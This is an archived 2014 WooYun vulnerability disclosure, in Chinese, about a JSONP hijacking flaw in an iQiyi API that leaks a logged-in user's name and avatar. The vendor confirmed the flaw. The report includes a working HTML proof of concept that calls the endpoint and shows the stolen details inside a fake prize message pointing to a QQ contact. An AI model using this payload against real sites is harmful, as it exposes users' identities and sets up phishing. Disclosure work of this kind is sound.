[公开漏洞]js hijack抓取爱奇艺登录用户信息

WooYun

js hijack抓取爱奇艺登录用户信息相关厂商：奇艺漏洞作者：剑心提交时间：2014-05-19 10:53 公开时间：2014-07-03 10:54 漏洞类型：CSRF 危害等级：中自评Rank：8 漏洞状态：厂商已经确认漏洞来源：http://www.wooyun.org Tags标签： csrf 漏洞详情披露状态：

2014-05-19：细节已通知厂商并且等待厂商处理中
2014-05-19：厂商已经确认，细节仅向厂商公开
2014-05-29：细节向核心白帽子及相关领域专家公开
2014-06-08：细节向普通白帽子公开
2014-06-18：细节向实习白帽子公开
2014-07-03：细节向公众公开

简要描述：

sobug审核人员素质根本不行。poc的意义只是在于证明这个漏洞。同样的漏洞我写过一个poc了，现在换一个url你就不认识了，那我能说什么，我只能说，那我就写一个poc给你看。

详细说明：

无心再扯淡，直接poc

<html>

<script src='http://api.t.iqiyi.com/qx_api/framework/all_in_one?data={%22requests%22:[{%22uri%22:%22/comment/get_user_simple_info%22

,%22params%22:{%22escape%22:true}}],%22publicParams%22:{%22tvid%22:186484,%22qitanid%22:1023533,%22aid%22:1023533,%22usecache%22:%22

true%22}}&qitancallback=fnsucc' >

</script>

<script>

document.write('亲爱的爱奇艺用户'+fnsucc.data['$comment$get_user_simple_info'].data.user.uname+'<br /><img src="'+fnsucc.data['$comm

ent$get_user_simple_info'].data.user.icon+'"></img><br />恭喜你的头像获得本年度最佳爱奇异啪啪奖，请你联系我们的客服（qq号 10001 ）领

取啪啪奖');

</script>

</html>

漏洞证明：

修复方案：

是不是要我每次都写这么长一段poc代码，每次都把漏洞的应用场景替你们想好，你们才确认漏洞

危害等级：低

漏洞Rank：5

确认时间：2014-05-19 11:01

厂商回复：

多谢xsjwt大牛的反馈,马上处理。

[公开漏洞]js hijack抓取爱奇艺登录用户信息

推荐文章

推荐网站